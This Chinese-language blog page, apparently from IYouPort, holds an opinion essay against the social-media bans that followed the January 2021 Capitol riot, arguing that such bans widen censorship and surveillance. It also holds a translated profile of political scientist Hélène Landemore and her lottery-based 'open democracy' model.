【2021年1月9日存档】中国社会有很多人将美国视为灯塔、将美国宪法视为典范，所以我们认为人们应该知道，第一修正案是什么，它要保护什么，它为什么要保护它。

最近几天里各大寡头公司对言论的集中审查引发了很多辩论，中国舆论圈也加入了这场辩论。但从其中，我们看到了非常多的对审查的误解。IYP有 “审查和自我审查” 专栏，于是我们觉得有必要加入这一辩论，转发一条 thread 以便说明一些问题。

这条 thread 的由来是基于一位中国媒体人的一条偏颇的帖子，见下图：

您可以看到，截止本文发布，该贴的转发量已经很高。这条帖子代表了长期遭受最苛刻的审查的中国舆论场直到如今依旧对审查充满误解的现实。

如您所知，IYP并不喜欢社交媒体辩论，我们认为这个媒介并不是为支持思考来的；但是，鉴于对审查的理解这一问题非常重要、并且是我们多年来反复强调过的，因为它事关反抗者对民主的理解和认识，于是我们觉得需要简要重申这一立场。

下面是 Victor 的帖子，就是参与我们的2020年终访谈的队友，原文在这里；他的帖子并非直接对上述中国媒体人的观点的回应，而是对另一个回应的评论，该回应是这样的：

因为我们这篇文章将发表在中国没有封锁的平台patreon上，但其中的论据需要您翻墙才能打开；为了便于中国读者可以看到更多详细的内容，于是我们将更多地截图在本文中呈现。不论如何依旧鼓励您突破封锁！

对于上图中的回复，信息来源是：# “布什令军队进入城市暴力镇

压，几十人死亡、1500人受伤、几千人被捕” 见华盛顿邮报：《BUSH ORDERS TROOPS INTO LOS ANGELES》；

- “他们应该封锁司法部，该部门保护特朗普的穆斯林禁令”，来源见纽约时报：《Trump’s Travel Ban Is Upheld by Supreme Court》；
- “还要封锁奥巴马，他带来了酷刑和大规模监视的爆发还要封锁奥巴马，他带来了酷刑和大规模监视的爆发” —— 奥巴马时代也是导致对吹哨人监禁的大爆发的时代，来源见华盛顿邮报：《Trump will have vast powers. He can thank Democrats for them》；

您可以看到，上述链接都来自企业媒体 —— 也就是中国读者最多关爱的信息媒介，于是这应该不会引起误解。

但是，正如 Victor 所言，上述评论缺少了另一个要点。下面是 Victor 的解读：

1、这件事有两个要点; 你说的只是其中一个, 关于: 民主党造成了特朗普崛起, 民主党拒绝承认这点的结果是2024将可能出现一个更可怕的故事. 关于这点, iyp复工后将做出更详细解释。

去年的片段解释在这里: https://t.me/iyouport/7852

但你的帖子带来了一种可能的误解, 似乎这些平台封锁的只是当权者? 不, 事实上并不是这样。这就是第2个要点 ...

【注：我们的确将在返工后对这一问题做出更详细的分析；Victor 所指的片段分析在这里：https://t.me/iyouport/7852，为了您的免翻阅读，我们截图在下面👇 事实上我们去年投票期间发布的这条内容已经在近期应验 —— 众所周知的国会暴动】

2、这次封锁是联合行动, 就在拜登准备「优先通过一项国内恐怖主义法律」的消息出现之后，见《Biden Says Rioters Who Stormed Capitol Were Domestic Terrorists》来自华尔街日报，这需要翻墙。

人们似乎忘记了, 拜登经常夸耀自己才是那个臭名昭著的「爱国者法案」的原作者，见《The Many Occasions Joe Biden Took Credit For Writing The Patriot Act》 来自 buzzfeednews，也需要翻墙。

正是这部法律合法化了 #大规模监视, 允许间谍入侵公民的一切私生活 (搜索维基百科看到更多解释)。

3、7年来, 权利组织针对斯诺登揭露的大规模监视的真相不断提起诉讼, 要求问责, 这期间难度最大的一点 —— 或者说当权者最重要的辩称 —— 就是「这是针对外国人的, 本国公民不需要担心」, 见《“没什么可隐藏的”—这个愚蠢的反人权论调从何而来？》- 这也需要翻墙。

而现在, 「国内反恐法」指日可待, 您知道这意味着什么.

4、上述拜登的新闻报道绝不是虚张声势. 前中情局情报分析师现众议院代表埃里莎·斯洛特金（Elissa Slotkin）最近在媒体上露面已经宣称:「真正的反恐斗争现在在美国境内」, 在这里看到这段视频, 需要翻墙:

下面是帖子截图：

📌 以上就是最近 Twitter 和 Facebook 集中删除特朗普和他的支持者的账户的大背景。是的, 不只有当权者, 还有大量公民, 这就是你的帖子容易导致误解的地方。

5、**!**请注意**!**不只有特朗普的支持者被封锁**!**看这里：这些人只是举行集会, 抗议**Covid**期间对穷人的不公正驱逐, 这些抗议者也被封锁了, 原帖:

下面是截图：

6、人们 **误会了** 2个问题： 1. 社交媒体平台的封锁只是为了禁止法西斯主义, 2. 他们的禁令仅限于您对法西斯主义者的个人定义。如上的案例所显示的, 这些假设都没有任何依据。

谷歌已经从其应用商店中删除了Parler, 苹果可能很快就会跟进, 这正是为什么 iyp 去年解释「转移到其他平台以躲避审查是没有用的」: 为了便于免费阅读, 我们对去年这条帖子截图在下面：

7、我们都不喜欢阴谋论, 我们强调基于事实说话, 我们追求真相作为证据, 我们随时都在警惕暴力的后果; 如果审查言论能捍卫真相和消解暴力, 那当然很好! 必须支持! 但是, 事实上对言论的审查并不会让事情变得更好, 而是变得更糟, 见3年前的这篇文章《封锁言论就能制止仇恨吗？不》文章作者 Erwin Chemerinsky 是加州大学伯克利分校法学院院长和法学教授。这也需要翻墙阅读。

8、去年,一位美国独立作家批评说「受过教育的美国人中支持审查的人的比例令人作呕」, 太久了不容易找到那条推文, 但这正是推动审查

的爆发并激励了👇这篇文章的大背景: 《主流刊物之一说：美国"需要"像中国那样的互联网审查》—— 该 "主流刊物" 是大西洋 **The Atlantic**。这篇文章也需要翻墙阅读。

9、事实上同一套话题人们已经多次辩论过 —— 关于是否可以认为「现在被封杀言论的人是你不喜欢的人你就应该支持对言论的封杀」?

iyp 也加入过这场辩论, 见：《如果全网封锁周小平？一个舆论热点或许能帮助中国社会更深层理解审查》- 来自**2018**年**8**月，需要翻墙阅读。

10、 iyp从3年前开始提醒「信息末日启示录的四骑士」（链接需要翻墙），即：全球当权者最喜欢用的理由是：洗钱、毒品、恐怖主义和儿童色情（在中国，仅仅 "色情" 就可以让你看见404），隐私保护支持者讽其为 "信息末日启示录" 的四骑士。也就是说，只要这四种理由摆出来，基本自由将不复存在。

而现在它已经变成了「六骑士」（链接需要翻墙）—— 加入了 "假新闻"、"仇恨言论"；而且还在不断增加，您知道这意味着什么。

假设你只针对某项事物进行审查，比如说儿童色情，你需要从人们浏览的东西中过滤出关于儿童色情的内容，那么你就首先必须监视每个人都在做什么，你需要建立能够监控所有人的基础设施，也就是大规模监控系统。

你可以说这项工作的初衷是好的，连美剧创作都在使用这种逻辑为政府的全面监控洗白（观看美剧《疑犯追踪》）。很多时候，政府制造的麻烦比他们解决的问题多得多，而你又如何确定政府就是这个星球上解决所有问题的终极答案？

政府掌握了太多权力，权力集中的领域又吸引着滥用权力和贪图权力的人。而互联网让权力再一次出现了集中化高峰，如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构，它吸引人们去滥用它。

📌 11、不论您对今天被封杀言论的人持什么样的观点, 您都应该知道: 极少数人对多数人的嘴巴所做的事, 不会让您获得幸免。

看看我们去年做的报告吧《数字焚书和网络维稳：149个国家/地区的互联网监视审查地图》 —— 链接需要翻墙。

德国“黑客元老” Wau Holland 曾经说过：“过滤应该由最终用户来决定，由终端用户的终端设备来执行”。 也就是说，每个人都带着一个过滤器，就长在脖子上—— 你的大脑。信息过滤不该由当权者代表人民来执行，不论是技术寡头还是政府，如果人们不想看到某些东西，那好，他们就不会去看。

📌 当我们允许1%的权势关着门不容置疑地决定我们所有人的命运时，我们就等于许可了专制。

虚假信息非常讨厌、刻意的阴谋论可以非常可怕、煽动暴力是必须拒绝的，我们需要解决所有这些问题。

对付阴谋论的唯一方法就是透明度：因为人的大脑有一个因果机制，也就是说它想为任何东西找到因果；阴谋论诞生于当权者变态的保密，人们发现了诡异的现象却不知道是为什么，就开始编造“原因”。

不幸的是，一些曾经的阴谋论在多年后被证明是真实的，就如蒙大拿州作家 Walter Kirn 所解释的那样，见《“如果你不偏执，那就是疯了”》。

我们都不喜欢阴谋论，我们一直在追求用事实说话，如果政权有足够的透明度、一切有据可查，任何阴谋论都难以存活 —— 人们可以简单地拿出证据去反驳。把文件拍在他们脸上。

而现在的状况是，当权者一边拼命杀死透明度革命的吹哨人和吹哨记者 —— 从50年监禁到175年监禁的威胁，一边声称“打击阴谋论”；就像捍卫亿万富翁的基础上声称“扶贫”一样的荒谬。他们拒绝承认不平等是造成贫困的原因。也拒绝承认变态的保密是造成阴谋论的原因。

打击虚假信息的方法是把鉴定技术教给人们，就像 IYP 的“让它民主”那个板块做的那样 —— 这个照片有没有被PS过？那个视频究竟是不是它所声称的事发地点和事发状况？那条信息的来源是什么？谁最先发布了它？有哪些证据可以证明它或证伪它？…… 等等，我们都提供过充分的工具和演示。这是开源情报最民主的用例之一。

当人们知道该如何鉴别时，就不会被欺骗。

当然，抵制虚假消息不是仅仅技术能解决的问题；假消息制作者精心设计了满足人们需求的逻辑，他们知道人们想要什么，据此针对性蛊惑人心 —— 他们是精通社交工程的心理黑客。这就是为什么近年来

互联网权利运动推出了很多游戏，帮助人们了解自己是如何上当受骗的，比如这个《在数字信息战时代，如何才能避免上当受骗？来，玩几个游戏》。

还有很多。之所以依旧如此多人被骗，正是因为这些知识和技能推动得太少了。也是为什么IYP希望更加努力。

打击政治宣传的方法就是揭露他们，鼓励人们拉黑恶意的政府资助的宣传者和僵尸网络。IYP给过很多追踪曝光信息战的工具，点击这个链接将转向在我们网站上的搜索结果。

📌不论是特朗普还是周小平，都是看客们把他们的知名度抬高的。如果人们拒绝他们，他们就起不到蛊惑人心的作用。推荐这里《你骂他，就是给他帮了大忙：一个最新的案例》。

最后，如您所知，我们反对的是对言论的审查和封禁，正如本文的标题所指出的：极少数人对多数人的嘴巴所做的事，不会让您获得幸免。这与您支持特朗普还是支持拜登，并没有任何关系。对特朗普和拜登我们去年底的对话中已经说的很明白，在这里看到《打破 **Matrix** 的路》，依旧需要翻墙。

而本文完全无关您对两党的看法，甚至无关您对上述“七骑士”中任何一个的看法；中国社会有很多人将美国视为灯塔、将美国宪法视为典范，所以我们认为人们应该知道，第一修正案是什么，它要保护什么，它为什么要保护它。○

原文

没有政客的政治 - iyouport

反抗者-寻求经验社会反抗和思考

【2020年11月19日存档】政治学者 Hélène Landemore 问道：如果政府是执政为民的，为什么人民不能执政？她提出了一种革新的民主体制，并且已经在不同国家进行了小范围实验，效果令人惊喜。是时候思考这个问题了：旧的民主正在死亡，新的民主应该是什么样？

想象一下，作为一个多元化的、富裕的、民主的国家的公民，有着充满热心的领导人。每年至少一次（比如说秋天）去投票站投票是您的权利和公民义务。想象一下，在您的国家，这一行为不仅被认为是一项重要的任务，而且是一项必不可少的任务；政府的每一级设计都是以民主选择为前提的。如果选举日没人来投票，国家的上层建筑就会崩溃。

所以您要尽量负责任。您尽自己最大的努力去了解情况。当选举日到来时，您做出的选择将是在您所能辨别的程度上被认为对您的国家最明智的选择。

然后，随着早间新闻传来选举结果，您的心也凉了半截。在一场选举中，您最兴奋的候选人、一个承诺要清理那个不健全的体制的改革者，输给了现任者，而现任者与强大的组织和极端富裕的捐赠者穿着一条裤子。

另一位政客，您上次投票后上任的人，她却没有兑现自己的承诺，而是与自己的党派步调一致，违背民意做出决定。而她再次当选，显然是在她的政党的帮助下。

在您的国家，有一种观念认为，民主结构保证了政府的民心所向。然而，当选票被统计出来时， 您才发现，该流程的建立为的只是违背人民利益的极少数人的利益。

上图中这本书在这里下载：https://www.patreon.com/posts/jiu-de-min-zhu-39999713

可以有什么纠正的途径吗？人们可能希望有纯粹的直接民主 —— 没有选举产生的代表机构，每个公民都能对每一项有关政策、法律和国外行为的重大决定进行投票。

但这似乎是一个多数派暴政和程序性疯狂的噩梦。人们如何才能在具体的细节上讨价还价，并通过对话来形成有约束的、持久的法律？

另一种选择是专注于影响那些对政治结果具有明细影响力的组织和商业利益。但是，这种方法就如说客进行暗箱操作的手段违背了民主的承诺。

竞选资金改革（禁止黑钱）可能会清理滥用现象。但它并无法确保表面上看起来似乎代表您的政治家能够倾听您的想法并采取行动。

学者 Hélène Landemore 是耶鲁大学的政治学教授，她的大部分职业生涯都在试图理解民主的价值和意义。近年来，她是一群学者中的一员，其中许多是年轻人，他们试图解决民选民主代表制的问题 —— 解决一个被广泛认为 “根本没有问题” 的制度中的缺陷。

- 《投票可能正是民主的问题？》
- 《投票心理学：行为成因分析 帮你抵制宣传的迷惑》

在她的著作《Democratic Reason: Politics, Collective Intelligence, and the Rule of the Many》(Princeton, 2012)中，她挑战了少数人的领导力优于大众的领导力的观点。她即将出版的新书，目前名为《Open Democracy: Reinventing Popular Rule for the 21st Century》，设想了由群众领导的真正的民主政府可能是什么样子。她的模式基于一个简单的想法，即 如果执政为民是一个目标，那么人民就应该进行治理。

Landemore 指出，“开放民主” *并不*以选举职业政治家担任代表角色为中心。而是通过一种大致类似于陪审团义务（而非陪审团选拔）的方法来决定领导力：每隔一段时间，您就会被选中，您就需要履行公民义务 —— 在这种情况下指在立法机构中占据一个席位。

在一个固定的时期内，您的工作就是与单位里的其他人一起解决问题，指导国家的发展。任期到了，您就会离开办公室，回到普通的生活和工作中去。

罗格斯大学哲学教授 Alexander Guerrero 说：“就是把随机选择的公民放到政治权力中去，或者让他们在协商机构或公民大会上扮演某种

政治角色。”

他在2014年发表了一篇颇具影响力的论文，主张以随机选择代替选举 —— 这种制度在古雅典和文艺复兴时期的意大利有一些先例，他把它称为 “抽签制”。(这是他自己即将出版的书的基础。)

在开放的民主制度中，Landemore 设想了与众包反馈渠道和其他措施相结合的抽签制度；目标是将权力从少数人手中转回到多数人手中。

对许多美国人来说，这样的制度似乎令人心惊肉跳 —— 这在政治上相当于把你那辆脆弱的老爷车借给街坊邻居家那个容易冲动的乱扔垃圾的十七岁少年。然而，许多直接的反对意见在思考之后就会消失。

培训和资质问题呢？不用担心，当前的立法者的背景多种多样，这些人是从实际工作中学到的足够知识。认为选举是一种技能检验的形式吗？也不用担心，因为在通过抽签填补其职级的政府中，传统竞选活动中所测试的技能（筹款，吹捧，实地宣传，演讲等等）都不再需要。

某些人可能会担心承诺和连续性问题 —— 这种想法是，最好由一群积极主动的政治专业人员为我们服务，他们会带来经验和人脉关系。但从历史上看，此类担忧并没有令选民们太多担心，对于选择局外人和怪人担任重要角色来说，选民们似乎没什么保留意见。（近年来不是很流行政治素人么）

Landemore 的开放民主模式旨在与人们直接合作，不需要重新培养或接受特殊的教育 —— 并且其支持者将这一想法描述为持久，精致、能有效够传达民众情绪的渠道。

“世界各地的民主政府都在失去被感知的合法性”，哈佛大学肯尼迪政府学院政治领导力和民主价值观教授 Jane Mansbridge 告诉我，“开放民主的魅力在于，它不仅对民主原则的复杂性有坚定的理解，而且对如何使这些原则以符合人们最深层直觉的方式凝聚在一起，有扎实的理解。”

她认为这是对人口规模层面的问题（如气候变化）的恰当回应，这些问题似乎需要比专业化领导力所能提供的解决方案更加普适和意志坚定的方案。”Landemore 非常站在世界上所有年轻人的一边，他们都在说，‘我们到底要怎么处理这个问题？” Mansbridge 说。

Landemore 自己会指出上一次的美国总统大选 —— 两位候选人之间

的较量，是美国总统选举史上支持率最低的一次，如此不受民众欢迎。大约十分之四的合格选民都没有去投票，而特朗普却违背了大多数投票的公民的意愿当选。这样的结果似乎有悖于民主的前提。随机挑选领导人，让所有人都参与进来，难道会更糟么？

今年冬天的一个冰天雪地的日子，我去拜访 Landemore。“我想我在装修这个地方的时候足够减寿5年了”，当我走进位于纽黑文的科德角风格的房子时，她告诉我，她和她的丈夫 Darko Jelaca，一位工程师，以及他们的两个年轻的女儿住在那里。“我不知道我是否还会这么做”。

我们坐在一个明亮的小屋里的长餐桌旁。43岁的 Landemore 身材高挑，金色的长发向后梳成马尾；她穿着格子法兰绒纽扣衬衫、牛仔裤和羊皮靴。她在法国诺曼底地区的一个村庄里长大，十八岁时，她满怀憧憬地来到巴黎，想在高级的亨利四世预科学校占个位置。

她最终进入了高等师范学院，该校致力于将优秀的年轻人引导到一个魅力化知识分子的彼岸。Landemore 当时对哲学充满了激情，她的兴趣来自于一个困扰她少年时代的问题。为什么要做正确的事？她的父母是无神论者，她从小就没有信仰。在没有上帝和中介神职人员指引的情况下，她想知道我们如何做出正确的选择。

哲学为她提供了第一个半成品答案。在学校里，她爱上了大卫·休谟的作品，休谟的人类激情理论触及到了决策，但这条路只带她走了半程。她开始研究理性选择理论，并在法国顶级政治学院 (Sciences Po) 上课。在此之前，Landemore 对政治并没有太多兴趣。(她最早的理想是成为一名小说家)

但该领域与社会科学和决策行为的交集令她着迷，于是她安排在哈佛大学进行了为期一年的交流，在那里她可以更深入地研究理性选择和博弈论。

她收拾好在巴黎的生活，降落在波士顿的洛根机场，坐上一辆出租车，告诉司机带她去哈佛校园，还以为司机会被这个花哨的地址所打动。“我在法国的机构接受过培训，他们告诉你说，你知道，‘你是国家的精英，这是一个很大的责任’，我相信这一点”，她说，“但是，那位司机对对此完全无感”。

相反，他们谈到了司机的工作。司机宣布了他的年收入，这让 Landemore 大吃一惊。(他做得真的很好!) 她喜欢美国社会似乎充满了这种平等主义的惊喜，而不像法国那样，对旧的地位标志有所尊

重。

“这真的打动了我 —— 你可以成为哈佛大学的学生，与出租车司机公平竞争，就像你可以成为百万富翁，与护士公平竞争一样”，她说。

“当然，这不是真的：这个国家的金钱扭曲是非常有问题的，在政治和经济上。但是在社会层面上，人们却表现得好像认为这并不重要，这很了不起。” 让她不解的是，这种开放性并没有在美国的体制中得到更好的体现。

到那时，Landemore 已经得出结论，个人做正确的事基本上是出于自我利益：为了得到他们需要的东西，赢得尊重，避免被报复的负面循环 —— 这些激励因素很可能会被带到他们作为领导者的工作中。

不过，群体为什么做正确的事，是一个更棘手、更有趣的问题。在复杂的社会中，自我保护的个人的利益和大的、多样的群体的利益并不总是一致的。绑架隔壁邻居的金毛犬，把它放在一个巨大的仓鼠轮上为我家发电，显然是个馊主意 —— 对我来说。但是，如果我们中的许多人想要通过投票支持一个绑架我们不认识的人家的狗以便获得电费减免呢？我们作为一个群体，能不能依靠自己做出正确的决定？

那一年，在麻省理工学院的一门课程中，Landemore 学到了一个政治科学上有关集体决策正确性概率，被称为孔多塞陪审团定理，是以孔多塞侯爵的名字命名的，他在1785年制定了这个定理，就在被革命者监禁前不久。

该定理说：想象在A和B两个选项之间进行投票，并想象我们这些观察者，以神一般的把握知道A选项是更好的选择。如果每个选民选择A选项的几率超过百分之五十 —— 也就是说，如果每个选民在正确选择方面甚至比抛掷硬币略胜一筹 —— 那么随着人数的增加，群体做正确事的几率就会增加。

有人可能会像许多政治学家一样，认为在政治中不存在 “正确” 的选择。人们还可能会沮丧地相信所谓的 “乌合之众”。但也可以采取相反的观点。当孔多塞定理在1960年代被重新发现时，它帮助引发了新一轮对大众智慧的兴趣。对 Landemore 来说，它带有一种更具体的必要性：“我想，为什么不能更明显地把它作为民主的论据呢？”

除非你相信大多数公民会做出比抛硬币更糟糕的政治选择，否则该定理不是主张直接赋予人民以权力吗？“说孔多塞的陪审团定理对民主很重要，这不是原创，但把它说得如此之多，却是原创”，

Mansbridge 告诉我。Landemore 没有在年底回到巴黎，而是申请了哈佛大学，在那里完成了她的博士学位，她被这个非正统的想法所吸引，即：正常人在一个群体中，可以被信任地做出重大的决定。

如今人们关于政治领导的很多想法可以追溯到柏拉图的《理想国》，它仍然是政治哲学的基础性文本。柏拉图 —— 另一个专注于为什么人们可以分别和一起做正确的事的人 —— 强调个人具有不同的特长，应担任不同的角色。

他引用苏格拉底的话说："我们必须推断，当一个人做一件对他来说很自然的事时，所有的东西都会更丰满、更容易地产生，而且质量更好"。柏拉图认为，那些适合做领导的人是哲学家，他们接受过追求真理高于其他报酬的训练，并且接受过不被公众舆论所左右的培养和教育。柏拉图写道：

当世人出现巨大的喧赫 …… 他们赞美一些正在说或正在做的事、指责另一些事，同样夸大这两件事，大喊大叫，拍手叫好，回声使赞美或指责的声音同时加倍 —— 在这种情况下，一个年轻人的心难道不会出现动摇吗？是否有任何私人培训使他能够抵御压倒性的大量民意？

柏拉图对受过良好教育、有判断力的领袖和疯狂骚动的群众之间的划分是如此广泛地被接受，以至于人们很容易忘记他在他所处的那个时代是作为一个反面人物在写作。

当时希腊的高等教育往往掌握在诡辩家手中：私人导师、思想家和工艺大师。然而，诡辩家们似乎确实相信群众智慧是真正的智慧。柏拉图的学生亚里士多德最后也分享了这一信念。在他的《政治学》第三卷中，他提出："虽然每一个人分别做事会比专家更差，但他们全体集合在一起时会变得更好，或至少是好的评委"，并主张群众参与到政府的治理中来。

我们今天的领导模式，从最高法院到"白宫西翼"，都生活在柏拉图的影子里 —— 正是在巴黎的大学校园里被灌输给 Landemore 的理想。在由受过良好教育、害怕暴民统治的人建立的美国政府中，这种强调是被设计出来的。然而，当 **Landemore** 研究群体智慧时，她开始怀疑柏拉图在这个问题上的思维是否更具有特异性而非启蒙性。

在"民主理性"中，Landemore 戳破了长期以来人们对大众决策不屑一顾的心结。二十世纪的理论家如约瑟夫·熊彼特和西摩·马丁·利普塞特都认为民主是人们选择领导人的方式，而不是自己掌舵。许多所谓

的民主派将公民诊断为“冷漠的、非理性的和无知的”；选民不是被视为代理人，而是被视为消费者，必须向他们推销某种东西 —— 候选人、纲领。

Landemore 指出，民主已经成为一个悖论：声称民主是由公民根据自己的利益进行投票来引导的，然而根据自己的利益进行投票却被认为是公民无法做到的事。

Landemore 认为，出现这种混乱的部分原因是人们在谈论两种不同的民主利益，而没有将其原因协调起来。一些支持民主的论点具有“协商”的基础 —— 它们源于这样一种想法，即 人民作为一个群体聚集在一起，就像在市政厅那样，将不同的观点和思想风格带入对话中，从而使问题得到更广泛、更精细的解决。其他的论点则是支持孔多塞定理的例子。

乍一看，这些似乎是相互排斥的：你不可能同时拥有大群人在一个房间里辩论问题的好处和有大量人同时去投票的好处。在像法国和美国这样的启蒙共和制国家，政府的策略传统上是试图做这两件事，但要有顺序。我们去投票站投票选举代表，然后，他们就会进入那个房间，把事情解决掉。

随着 Landemore 的继续研究，她开始思考，如果我们能想出如何将审议和群众智慧的优势真正统一起来，真正的民主 —— 真正实现其原则的民主 —— 可能会更充分地出现。

关于如何实现这一点，有人给出过一些提示。如果能够通过讨论，将关于减少温室气体排放的混乱选项减少到两个，那么一个复杂的决定就可以为大多数人的智慧提供参考。同样的道理，如果在决策过程中，能够在许多不同类型的人之间进行实质性的讨论，那么多数人暴政的惊人幽灵就不太可能出现。

因为 Landemore 第一本书的目标只是挑战对大众决策的不信任，所以她没有再阐明这样一个重叠的体制可能是什么样的。“我对民主的观念还是比较保守的”，她说。

在耶鲁大学校园内，Landemore 办公大楼的对面，矗立着一栋让她觉得真实而又深恶痛绝的建筑。这个最近建造的哥特式风格的建筑，是仿照附近几座老式的哥特式建筑而设计的，而这些建筑又是仿照英国的哥特式学术建筑而设计的。

她认为，这种盲目的连续性是可笑的，结果导致了一个丑陋的建筑，

面对她所描述的“薄薄的、粘在一起的砖块”，所有这些都是为了所谓的传统服务。

“从美学上来说，这是一场灾难！”她告诉我。然而，这栋建筑最令人痛心疾首的冒犯来自于设计过程本身：像她这样在这些建筑中工作的人，并没有被征求过对这些建筑的任何意见。

我去拜访的时候，Landemore 正有事情要处理，路上她在市中心她喜欢的越南小店 Duc’s Place 吃了一碗鱼面和一杯芒果冰沙。老板 Duc 上前招呼她。“Duc 是耶鲁大学生物学博士后研究员，研究果蝇”，老板走后，她说。

“他厌倦了，离开学术界后开了一家餐馆。现在他用科学严谨的态度做每一道菜。”这似乎是一个关于精英渠道任意性的现实教训：我们都有很多能力，我们在政府中的领导能力不应该取决于我们是否已经决定与耶鲁大学那些精英一起工作，还是在附近经营一家越南菜馆。

2017年，Landemore 在普通读者杂志《Daedalus》上撰文，直接瞄准了现代民主代表制。请人们想象一下行动中的审议，这些天，他们可能会想到参议院的会场上，充满了来自哈佛和耶鲁大学的精英、那些衣冠楚楚的专业人士，他们冗长地辩论，恪守自己的党派纲领，竭尽所能守住自己的席位。

她认为，审议式民主已经与这种愿景密不可分，并产生了令人不快的影响。称这种精英代表制为民主是荒谬的，因此对民主的品牌不利；人们对民主的信心正在普遍下降，这并非偶然。

不过，如果没有这些人，您怎么能有审议式民主呢？您不能把整个国家聚集在一个房间里。您必须有一个小团体的审议代表整体。Landemore 认为，问题不在于代表权，而在于选择代表的方式 ——一个真正民主的方法将反映民众的力量，并服务于包容和平等的基本民主理想，正如 Landemore 在 *Daedalus* 杂志中写道的那样：

包容性意味着每个成年成员均有权享有权力，并且民主本身的定义也具有包容性。平等性是指这种权力份额必须对所有人平等。. . . 这一平等原则还意味着，在需要进行审议的地方，每个人的声音都应事先得到同样的机会。最后，平等意味着在需要代表的地方，每个人都有同样的机会成为代表。

“开放民主”这本 Landemore 即将出版的新书，回到了她在《民主理性》中留下的悬而未决的问题。如果一个政府系统将审议制和多数决

民主结合在一起，会是什么样子？

她的模式遵循五个要求：平等和普遍的参与权；审议是过程的一部分；多数决原则；民主代表制（在她的概念中这意味着一群当选的中间人仍然可以以从属的角色存在）；以及整个过程的透明度。她说，开放的民主，就是要被代表和依次代表。

“专家的空间还是有的 —— 我们并没有摆脱政府系统已有的所有省时和专业化”，她告诉我，“只是在关键时刻 —— 决策和议程设置的时刻，我们要确保对公民的开放性。关键是要让系统换气。”

Landemore 的模式基于她所谓的 “小型公共机构” —— 由一百五十人到一千人不等的小型集会 —— 进行治理工作。其成员是以抽签的方式或以义务陪审员的方式选出来的。而且，虽然他们并不具有个人意义上的代表性（住在隔壁的会计在他的政府任职期间并不代表我）但他们反映了公众利益的范围。

Landemore 的理想与 Guerrero 等其他人所描述的模式的不同之处在于其漏斗的宽度：目标是让尽可能多的公众有组织地参与决策。她的开放民主进程还建立了众包反馈循环和不定期的全民公决（公众对其选择的直接投票），因此，目前没有执政的人不会感到被排斥在外。

公民的服务时间会得到很好的补偿；他们从正常的工作中走出来，就像育儿假的模式。(必须指出，这种制度在工作场所政策比美国更发达的国家中更容易想象)。

除了这些基本的设计元素，Landemore 的方案是开放式的 —— 与其说是一套操作原则，不如说是一个配方。它将比目前的制度更加平等，因为每个人都有平等的机会进入政府，一旦进入政府就有平等的发言权。而且，它将更具包容性，因为每个人，无论他们目前是否在政府中任职，都将与决策过程具有无中介的接触。

Landemore 认为，这样做的一个结果是，公众的民主学习曲线将更加健康。并不是因为每个人都会突然被迫成为一个政治迷；而是因为，在他们生命中的某个时期，将被迫从内部学习政治过程，被迫与随机的其他公民合作思考有影响力的政治决策，而这些人的意见是不同的。

更值得注意的是，这样的制度将清除掉 “精英主义” 的政治 —— 这是关于领导人是否代表我们这样的人的问题。在开放的民主制度中，没有稳定的 “他们”，没有让人反感的政治精英，有的只是 “我们” 这个

稳定的概念。不同肤色、不同生活方式、财富水平各不相同的围观群众就是政府。

“一旦你迫使人们进入一种环境，在这种环境中，他们必须超越姿态和对想法的承诺，他们就必须与像他们这样的人一起解决现实生活中的问题 —— 即使他们的想法不同 —— 你就能解决很多问题”，Landemore 解释说。

对开放民主的批评者往往分为三类。有些人不相信这样的前提，即 目前的选举代议制在结构上有什么问题。(这样的人认为 “我们的麻烦可能在其他地方：在教育体系中，或者在不断加剧的不平等中”)。也有些人对政治中存在 “更好” 结果的理论提出质疑。而有些人则怀疑实践本身 —— 它在纸面上听起来很好，但它能行得通吗？

“我自己的赌注是，人类的自我欺骗和血腥心态将永远被证明比我们学习麻烦的真理的愿望更强大”，普林斯顿大学政治学教授、Landemore 的同事和批评家之一 Christopher Achen 说。“人类历史上充满了有吸引力的理想，结果证明这些理想是不可行的，或者在尝试时是深刻危险的。但它也充满了 ‘难以置信的理想’，一两个世纪后却成为了普通常识。”

Landemore 说，她归类为开放民主的东西已经在有限的情况下进行了尝试。在芬兰，从2012年到2013年，这种方法的某些方面被用来改革雪地摩托的管理 —— 如果你从来没有在芬兰度过一个冬天，这个问题听起来可能很偶然。政府让公众参与探究问题并寻找解决方案。Landemore 是这个项目的顾问，她读了芬兰人的评论，她说，被震撼了。她告诉我，“它绝对不是我们想象中的 ‘普通公民’ 那样的愤怒或无建设性。”

大约与芬兰的试验同时，冰岛也采用 Landemore 的进程起草新宪法，首先是由950名随机挑选的公民组成的审议论坛。一个由二十五名民选但非专业代表组成的较小规模的代表小组起草了一份文件，并将其公布于众，接受公众监督。Landemore 认为，这一步骤体现了所谓的 “流动性” 民主 —— 当人民愿意时，他们可以将投票权赋予临时代表。

冰岛人在数千条在线评论中提出了自己的想法；根据他们的意见，宪法被修改了11次。最终的版本被提交给全国人民进行公投，超过三分之二的冰岛人签署了宪法。

在过去的几年里，该文件一直处于悬而未决的状态，因为由冰岛全职

民选政治家组成的议会从未举行过自己的批准投票。Landemore 仍然认为这个过程是成功的。她说，这部宪法不仅是一个坚实的标本，它还包含了一些二十一世纪的开明思想，如普遍的互联网连接权，而这些思想可能不会出现在更多的精英讨论中。

当然，芬兰和冰岛有一些共同点，那就是它们都是小国，在文化上是同化的。在那里，几乎每个人都在相同的学校系统中学习，并且由于普遍的社会计划，他们共享一套基准的生活方式；一个芬兰人遇到另一个芬兰人，无论其种族或背景如何，都可以自信地认为他们共享芬兰的基本经验。

这在美国就不一样了，美国以允许哈西德犹太人、韩国新移民和阿巴拉契亚工匠在文化上不同的社区生活、并以他们喜欢的方式生活为荣。这就是为什么，正如我过去所论证的那样，北欧模式值得钦佩，但却无法被美国借用的原因：这样做需要重新定义美国的自由主义，而这种定义会让许多左派人士感到震惊）。

作为开放民主可以在更大、更多元文化的社会中发挥作用的证据，**Landemore** 指出，法国的全国大辩论 —— 这是一项庞大的工程，涉及一个充满活力的在线论坛、二十一个公民大会和一万多场公开会议，在2019年的黄背心抗议活动之后举行；今年，还提到了该国的气候变化公民公约。

气候大会要求随机挑选的一百五十名公民帮助制定减少法国排放的计划，从去年秋天开始，一直持续到今年；Landemore 正在巴黎度过深冬，为她的书研究讨论如何展开。

